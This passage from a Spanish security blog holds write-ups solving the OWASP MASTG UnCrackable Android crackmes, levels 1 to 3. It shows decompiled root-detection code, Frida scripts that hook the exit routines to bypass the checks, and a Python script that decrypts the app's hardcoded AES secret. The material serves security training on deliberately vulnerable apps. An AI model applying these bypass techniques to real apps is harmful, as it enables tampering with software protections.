<p>Lógicamente podemos evadir este mensaje si no utilizamos un dispositivo <em>rooteado</em>. Sin embargo, intentaremos saltarnos esta protección.</p>

<h1 id="reconocimiento">Reconocimiento</h1>

<p>Comenzaremos descompilando el programa con <em>jadx</em>, y veremos que se aplican tres comprobaciones que determinan si el dispositivo tiene desbloqueado el superusuario.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">a</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">a</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">bArr</span><span class="o">,</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">bArr2</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">SecretKeySpec</span> <span class="n">secretKeySpec</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">SecretKeySpec</span><span class="o">(</span><span class="n">bArr</span><span class="o">,</span> <span class="s">"AES/ECB/PKCS7Padding"</span><span class="o">);</span>
        <span class="nc">Cipher</span> <span class="n">cipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"AES"</span><span class="o">);</span>
        <span class="n">cipher</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="mi">2</span><span class="o">,</span> <span class="n">secretKeySpec</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">cipher</span><span class="o">.</span><span class="na">doFinal</span><span class="o">(</span><span class="n">bArr2</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">b</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">a</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="o">(</span><span class="n">context</span><span class="o">.</span><span class="na">getApplicationContext</span><span class="o">().</span><span class="na">getApplicationInfo</span><span class="o">().</span><span class="na">flags</span> <span class="o">&amp;</span> <span class="mi">2</span><span class="o">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">c</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">a</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">str</span> <span class="o">:</span> <span class="nc">System</span><span class="o">.</span><span class="na">getenv</span><span class="o">(</span><span class="s">"PATH"</span><span class="o">).</span><span class="na">split</span><span class="o">(</span><span class="s">":"</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="s">"su"</span><span class="o">).</span><span class="na">exists</span><span class="o">())</span> <span class="o">{</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">b</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="nc">Build</span><span class="o">.</span><span class="na">TAGS</span><span class="o">;</span>
        <span class="k">return</span> <span class="n">str</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"test-keys"</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">c</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">str</span> <span class="o">:</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"/system/app/Superuser.apk"</span><span class="o">,</span> <span class="s">"/system/xbin/daemonsu"</span><span class="o">,</span> <span class="s">"/system/etc/init.d/99SuperSUDaemon"</span><span class="o">,</span> <span class="s">"/system/bin/.ext/.su"</span><span class="o">,</span> <span class="s">"/system/etc/.has_su_daemon"</span><span class="o">,</span> <span class="s">"/system/etc/.installed_su_daemon"</span><span class="o">,</span> <span class="s">"/dev/com.koushikdutta.superuser.daemon/"</span><span class="o">})</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">str</span><span class="o">).</span><span class="na">exists</span><span class="o">())</span> <span class="o">{</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Vemos que estas comprobaciones se aplican al inicio:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">protected</span> <span class="kt">void</span> <span class="nf">onCreate</span><span class="o">(</span><span class="nc">Bundle</span> <span class="n">bundle</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">c</span><span class="o">.</span><span class="na">a</span><span class="o">()</span> <span class="o">||</span> <span class="n">c</span><span class="o">.</span><span class="na">b</span><span class="o">()</span> <span class="o">||</span> <span class="n">c</span><span class="o">.</span><span class="na">c</span><span class="o">())</span> <span class="o">{</span>
        <span class="n">a</span><span class="o">(</span><span class="s">"Root detected!"</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">b</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">getApplicationContext</span><span class="o">()))</span> <span class="o">{</span>
        <span class="n">a</span><span class="o">(</span><span class="s">"App is debuggable!"</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="kd">super</span><span class="o">.</span><span class="na">onCreate</span><span class="o">(</span><span class="n">bundle</span><span class="o">);</span>
    <span class="n">setContentView</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">layout</span><span class="o">.</span><span class="na">activity_main</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<h1 id="hookeando-la-fución-con-frida">Hookeando la fución con Frida</h1>

<p>Haciendo uso de Frida, podemos saltarnos la protección. Para ello debemos ejecutar <code class="language-plaintext highlighter-rouge">frida-server</code> en el dispositivo víctima:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push frida-server /data/local/tmp
adb shell
su
<span class="nb">cd</span> /data/local/tmp/
./frida-server
</code></pre></div></div>

<p>A continuación, creamos un script <code class="language-plaintext highlighter-rouge">bypass-check.js</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Java</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">function</span><span class="o">()</span> <span class="o">{</span>
    <span class="kt">var</span> <span class="n">hook</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="s">"java.lang.System"</span><span class="o">);</span>
    <span class="n">hook</span><span class="o">.</span><span class="na">exit</span><span class="o">.</span><span class="na">implementation</span> <span class="o">=</span> <span class="n">function</span><span class="o">()</span> <span class="o">{</span>
        <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"Root Check Bypassed!!! 😎"</span><span class="o">);</span>
    <span class="o">};</span>
<span class="o">});</span>
</code></pre></div></div>

<p>Esto convertirá las llamadas a <code class="language-plaintext highlighter-rouge">exit</code> en funciones vacías, permitiendonos saltarnos la protección. Para poder lanzar Frida debemos identificar el proceso de la aplicación:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb shell ps | <span class="nb">grep </span>owasp

u0_a291       16690    687 5729020 120012 0                   0 S owasp.mstg.uncrackable1
</code></pre></div></div>

<p>Una vez tenemos el pid, podemos lanzar frida:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frida <span class="nt">-U</span> <span class="nt">-p</span> 16690 <span class="nt">-l</span> bypass-check.js

     ____
    / _  |   Frida 17.2.6 - A world-class dynamic instrumentation toolkit
   | <span class="o">(</span>_| |
    <span class="o">&gt;</span> _  |   Commands:
   /_/ |_|       <span class="nb">help</span>      -&gt; Displays the <span class="nb">help </span>system
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>       object?   -&gt; Display information about <span class="s1">'object'</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>       <span class="nb">exit</span>/quit -&gt; Exit
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>   More info at https://frida.re/docs/home/
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>   Connected to Mi Note 10 <span class="o">(</span><span class="nb">id</span><span class="o">=</span>b61dd82c<span class="o">)</span>
                                                                                
<span class="o">[</span>Mi Note 10::PID::16690 <span class="o">]</span>-&gt; Root Check Bypassed!!! 😎
</code></pre></div></div>

<p><br />
<img src="/images/posts/UnCrackableL1/UnCrackable-Main.png" alt="Image" width="200px" />
<br /></p>

<h1 id="obteniendo-el-código-de-verificación">Obteniendo el código de verificación</h1>

<p>La pantalla principal del programa nos pide un código de verificación. Por suerte podemos ver algo en el propio código del programa:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">a</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">a</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">)</span> <span class="o">{</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">bArr</span><span class="o">;</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">bArr2</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">0</span><span class="o">];</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="n">bArr</span> <span class="o">=</span> <span class="n">sg</span><span class="o">.</span><span class="na">vantagepoint</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">b</span><span class="o">(</span><span class="s">"8d127684cbc37c17616d806cf50473cc"</span><span class="o">),</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="s">"5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc="</span><span class="o">,</span> <span class="mi">0</span><span class="o">));</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="s">"CodeCheck"</span><span class="o">,</span> <span class="s">"AES error:"</span> <span class="o">+</span> <span class="n">e</span><span class="o">.</span><span class="na">getMessage</span><span class="o">());</span>
            <span class="n">bArr</span> <span class="o">=</span> <span class="n">bArr2</span><span class="o">;</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="n">str</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">bArr</span><span class="o">));</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">b</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">)</span> <span class="o">{</span>
        <span class="kt">int</span> <span class="n">length</span> <span class="o">=</span> <span class="n">str</span><span class="o">.</span><span class="na">length</span><span class="o">();</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">bArr</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="n">length</span> <span class="o">/</span> <span class="mi">2</span><span class="o">];</span>
        <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">length</span><span class="o">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">bArr</span><span class="o">[</span><span class="n">i</span> <span class="o">/</span> <span class="mi">2</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)</span> <span class="o">((</span><span class="nc">Character</span><span class="o">.</span><span class="na">digit</span><span class="o">(</span><span class="n">str</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="n">i</span><span class="o">),</span> <span class="mi">16</span><span class="o">)</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="o">)</span> <span class="o">+</span> <span class="nc">Character</span><span class="o">.</span><span class="na">digit</span><span class="o">(</span><span class="n">str</span><span class="o">.</span><span class="na">charAt</span><span class="o">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="o">),</span> <span class="mi">16</span><span class="o">));</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="n">bArr</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Dado que tenemos el código cifrado y la clave codificada como base64, podemos descifrarlo con un programa en python:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64decode</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>

<span class="c1"># Clave en hexadecimal
</span><span class="n">key_hex</span> <span class="o">=</span> <span class="s">"8d127684cbc37c17616d806cf50473cc"</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">key_hex</span><span class="p">)</span>

<span class="c1"># Ciphertext en base64
</span><span class="n">ciphertext_b64</span> <span class="o">=</span> <span class="s">"5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc="</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">ciphertext_b64</span><span class="p">)</span>

<span class="c1"># Descifrar con AES ECB
</span><span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
<span class="n">plaintext</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>

<span class="c1"># Eliminar padding PKCS#7
</span><span class="n">padding_len</span> <span class="o">=</span> <span class="n">plaintext</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">plaintext</span> <span class="o">=</span> <span class="n">plaintext</span><span class="p">[:</span><span class="o">-</span><span class="n">padding_len</span><span class="p">]</span>

<span class="c1"># Mostrar resultado
</span><span class="k">print</span><span class="p">(</span><span class="s">"El secreto es:"</span><span class="p">,</span> <span class="n">plaintext</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python secret_extrator.py
El secreto es: I want to believe
</code></pre></div></div>

<p>Si lo introducimos en el programa podremos superar el reto!</p>

<p><br />
<img src="/images/posts/UnCrackableL1/UnCrackable-Solution.png" alt="Image" width="200px" />
<br /></p>]]></content><author><name>naibu3</name></author><category term="Mobile" /><category term="Writeups" /><summary type="html"><![CDATA[Seguimos con nuestros primeros pasos explotando dispositivos Android. En este caso traemos uno de las aplicaciones incluidas en el OWASP MASTG.]]></summary></entry><entry><title type="html">Android UnCrackable L2</title><link href="http://naibu3.github.io//Android-UnCrackable-L2/" rel="alternate" type="text/html" title="Android UnCrackable L2" /><published>2025-06-30T00:00:00+00:00</published><updated>2025-06-30T00:00:00+00:00</updated><id>http://naibu3.github.io//Android-UnCrackable-L2</id><content type="html" xml:base="http://naibu3.github.io//Android-UnCrackable-L2/"><![CDATA[<p>Seguimos con la explotación de dispositivos Android. En este caso traemos la segunda parte de una de las aplicaciones incluidas en el <a href="https://mas.owasp.org/crackmes/Android/">OWASP MASTG</a>. Igual que en el nivel 1, se nos da una aplicación que a priori detecta si nuestro dispositivo está rooteado, y de ser así nos cierra la aplicación.</p>

<p><br />
<img src="/images/posts/UnCrackableL2/UnCrackable-L2.png" alt="Image" width="150px" /></p>

<h1 id="reconocimiento">Reconocimiento</h1>

<p>Vemos que al igual que antes, se apican una serie de comprobaciones.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">b</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">a</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">str</span> <span class="o">:</span> <span class="nc">System</span><span class="o">.</span><span class="na">getenv</span><span class="o">(</span><span class="s">"PATH"</span><span class="o">).</span><span class="na">split</span><span class="o">(</span><span class="s">":"</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="s">"su"</span><span class="o">).</span><span class="na">exists</span><span class="o">())</span> <span class="o">{</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">b</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="nc">Build</span><span class="o">.</span><span class="na">TAGS</span><span class="o">;</span>
        <span class="k">return</span> <span class="n">str</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"test-keys"</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">c</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">str</span> <span class="o">:</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"/system/app/Superuser.apk"</span><span class="o">,</span> <span class="s">"/system/xbin/daemonsu"</span><span class="o">,</span> <span class="s">"/system/etc/init.d/99SuperSUDaemon"</span><span class="o">,</span> <span class="s">"/system/bin/.ext/.su"</span><span class="o">,</span> <span class="s">"/system/etc/.has_su_daemon"</span><span class="o">,</span> <span class="s">"/system/etc/.installed_su_daemon"</span><span class="o">,</span> <span class="s">"/dev/com.koushikdutta.superuser.daemon/"</span><span class="o">})</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">str</span><span class="o">).</span><span class="na">exists</span><span class="o">())</span> <span class="o">{</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>

<span class="o">[...]</span>

<span class="kd">public</span> <span class="kt">void</span> <span class="nf">onCreate</span><span class="o">(</span><span class="nc">Bundle</span> <span class="n">bundle</span><span class="o">)</span> <span class="o">{</span>
   <span class="n">init</span><span class="o">();</span>
   <span class="k">if</span> <span class="o">(</span><span class="n">b</span><span class="o">.</span><span class="na">a</span><span class="o">()</span> <span class="o">||</span> <span class="n">b</span><span class="o">.</span><span class="na">b</span><span class="o">()</span> <span class="o">||</span> <span class="n">b</span><span class="o">.</span><span class="na">c</span><span class="o">())</span> <span class="o">{</span>
      <span class="n">a</span><span class="o">(</span><span class="s">"Root detected!"</span><span class="o">);</span>
   <span class="o">}</span>
   <span class="k">if</span> <span class="o">(</span><span class="n">a</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">getApplicationContext</span><span class="o">()))</span> <span class="o">{</span>
      <span class="n">a</span><span class="o">(</span><span class="s">"App is debuggable!"</span><span class="o">);</span>
   <span class="o">}</span>
   <span class="o">[...]</span>
</code></pre></div></div>

<p>Si vemos las comprobaciones, en ambos casos se llama a la misma función, que llama a <code class="language-plaintext highlighter-rouge">System.exit</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">a</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">)</span> <span class="o">{</span>
   <span class="nc">AlertDialog</span> <span class="n">create</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">AlertDialog</span><span class="o">.</span><span class="na">Builder</span><span class="o">(</span><span class="k">this</span><span class="o">).</span><span class="na">create</span><span class="o">();</span>
   <span class="n">create</span><span class="o">.</span><span class="na">setTitle</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
   <span class="n">create</span><span class="o">.</span><span class="na">setMessage</span><span class="o">(</span><span class="s">"This is unacceptable. The app is now going to exit."</span><span class="o">);</span>
   <span class="n">create</span><span class="o">.</span><span class="na">setButton</span><span class="o">(-</span><span class="mi">3</span><span class="o">,</span> <span class="s">"OK"</span><span class="o">,</span> <span class="k">new</span> <span class="nc">DialogInterface</span><span class="o">.</span><span class="na">OnClickListener</span><span class="o">()</span> <span class="o">{</span> <span class="c1">// from class: sg.vantagepoint.uncrackable2.MainActivity.1</span>
      <span class="nd">@Override</span> <span class="c1">// android.content.DialogInterface.OnClickListener</span>
      <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onClick</span><span class="o">(</span><span class="nc">DialogInterface</span> <span class="n">dialogInterface</span><span class="o">,</span> <span class="kt">int</span> <span class="n">i</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
      <span class="o">}</span>
   <span class="o">});</span>
   <span class="n">create</span><span class="o">.</span><span class="na">setCancelable</span><span class="o">(</span><span class="kc">false</span><span class="o">);</span>
   <span class="n">create</span><span class="o">.</span><span class="na">show</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<h1 id="hookeando-la-fución-con-frida">Hookeando la fución con Frida</h1>

<p>Haciendo uso de Frida, podemos convertir la llamada a <code class="language-plaintext highlighter-rouge">a</code> en una función vacía, saltando la protección. Para ello, al igual que antes, debemos ejecutar <code class="language-plaintext highlighter-rouge">frida-server</code> en el dispositivo víctima:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push frida-server /data/local/tmp
adb shell
su
<span class="nb">cd</span> /data/local/tmp/
./frida-server
</code></pre></div></div>

<p>A continuación, creamos un script <code class="language-plaintext highlighter-rouge">bypass-check.js</code> (créditos a <a href="https://nibarius.github.io/learning-frida/2020/05/23/uncrackable2">Niklas</a>):</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Java</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">function</span> <span class="o">()</span> <span class="o">{</span>
    <span class="kt">var</span> <span class="nc">MainActivity</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="s">"sg.vantagepoint.uncrackable2.MainActivity"</span><span class="o">);</span>
      <span class="nc">MainActivity</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">overload</span><span class="o">(</span><span class="s">"java.lang.String"</span><span class="o">).</span><span class="na">implementation</span> <span class="o">=</span> <span class="n">function</span><span class="o">(</span><span class="n">s</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="s">"Tamper detection suppressed, message was: "</span> <span class="o">+</span> <span class="n">s</span><span class="o">);</span>
      <span class="o">}</span>
<span class="o">});</span>
</code></pre></div></div>

<p>Como la aplicación no se mantiene abierta, vamos a hacer que Frida la <em>spawnee</em>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frida <span class="nt">-U</span> <span class="nt">-f</span> owasp.mstg.uncrackable2 <span class="nt">-l</span> bypass-check.js

     ____
    / _  |   Frida 17.2.6 - A world-class dynamic instrumentation toolkit
   | <span class="o">(</span>_| |
    <span class="o">&gt;</span> _  |   Commands:
   /_/ |_|       <span class="nb">help</span>      -&gt; Displays the <span class="nb">help </span>system
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>       object?   -&gt; Display information about <span class="s1">'object'</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>       <span class="nb">exit</span>/quit -&gt; Exit
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>   More info at https://frida.re/docs/home/
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>
   <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span> <span class="nb">.</span>   Connected to Mi Note 10 <span class="o">(</span><span class="nb">id</span><span class="o">=</span>b61dd82c<span class="o">)</span>
Spawned <span class="sb">`</span>owasp.mstg.uncrackable2<span class="sb">`</span><span class="nb">.</span> Resuming main thread!                
<span class="o">[</span>Mi Note 10::owasp.mstg.uncrackable2 <span class="o">]</span>-&gt; Tamper detection suppressed, message was: Root detected!
</code></pre></div></div>

<p><br />
<img src="/images/posts/UnCrackableL2/UnCrackable-Main.png" alt="Image" width="200px" />
<br /></p>

<h1 id="obteniendo-el-código-de-verificación">Obteniendo el código de verificación</h1>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">local_38</span> <span class="o">=</span> <span class="mh">0x6e616854</span><span class="o">;</span>   <span class="c1">// 'Than'</span>
<span class="n">uStack_34</span> <span class="o">=</span> <span class="mh">0x6620736b</span><span class="o">;</span>  <span class="c1">// 'ks f'</span>
<span class="n">uStack_30</span> <span class="o">=</span> <span class="mh">0x6120726f</span><span class="o">;</span>  <span class="c1">// 'or a'</span>
<span class="n">uStack_2c</span> <span class="o">=</span> <span class="mh">0x74206c6c</span><span class="o">;</span>  <span class="c1">// 'll t'</span>
<span class="n">local_28</span> <span class="o">=</span> <span class="mh">0x68736966206568</span><span class="o">;</span> <span class="c1">// 'he fisih' -&gt; probablemente mal decompilado: 'he fish'</span>
</code></pre></div></div>

<p>Si lo introducimos en el programa podremos superar el reto!</p>

<p><br />
<img src="/images/posts/UnCrackableL2/UnCrackable-Solution.png" alt="Image" width="200px" />
<br /></p>]]></content><author><name>naibu3</name></author><category term="Mobile" /><category term="Writeups" /><summary type="html"><![CDATA[Seguimos con la explotación de dispositivos Android. En este caso traemos la segunda parte de una de las aplicaciones incluidas en el OWASP MASTG. Igual que en el nivel 1, se nos da una aplicación que a priori detecta si nuestro dispositivo está rooteado, y de ser así nos cierra la aplicación.]]></summary></entry><entry><title type="html">Android UnCrackable L3</title><link href="http://naibu3.github.io//Android-UnCrackable-L3/" rel="alternate" type="text/html" title="Android UnCrackable L3" /><published>2025-06-30T00:00:00+00:00</published><updated>2025-06-30T00:00:00+00:00</updated><id>http://naibu3.github.io//Android-UnCrackable-L3</id><content type="html" xml:base="http://naibu3.github.io//Android-UnCrackable-L3/"><![CDATA[<p>Vamos a por el nivel 3 de UnCrackable, una de las aplicaciones vlunerables del <a href="https://mas.owasp.org/crackmes/Android/">OWASP MASTG</a>. De forma similar a los niveles anteriores, se nos da una aplicación que a priori detecta si nuestro dispositivo está rooteado, y de ser así nos cierra la aplicación.</p>

<p><br />
<img src="/images/posts/UnCrackableL3/UnCrackable-L3.png" alt="Image" width="150px" /></p>

<h1 id="reconocimiento">Reconocimiento</h1>

<p>Vamos a comenzar echando un vistazo al código fuente con <em>jadx</em>. En la <code class="language-plaintext highlighter-rouge">MainActivity</code>, podemos ver algunas líneas interesantes, como una clave XOR <code class="language-plaintext highlighter-rouge">pizzapizzapizzapizzapizz</code>, la declaración de dos métodos nativos (<code class="language-plaintext highlighter-rouge">baz</code> e <code class="language-plaintext highlighter-rouge">init</code>) y la carga de una librería <code class="language-plaintext highlighter-rouge">libfoo.so</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">TAG</span> <span class="o">=</span> <span class="s">"UnCrackable3"</span><span class="o">;</span>
<span class="kd">static</span> <span class="kt">int</span> <span class="n">tampered</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>
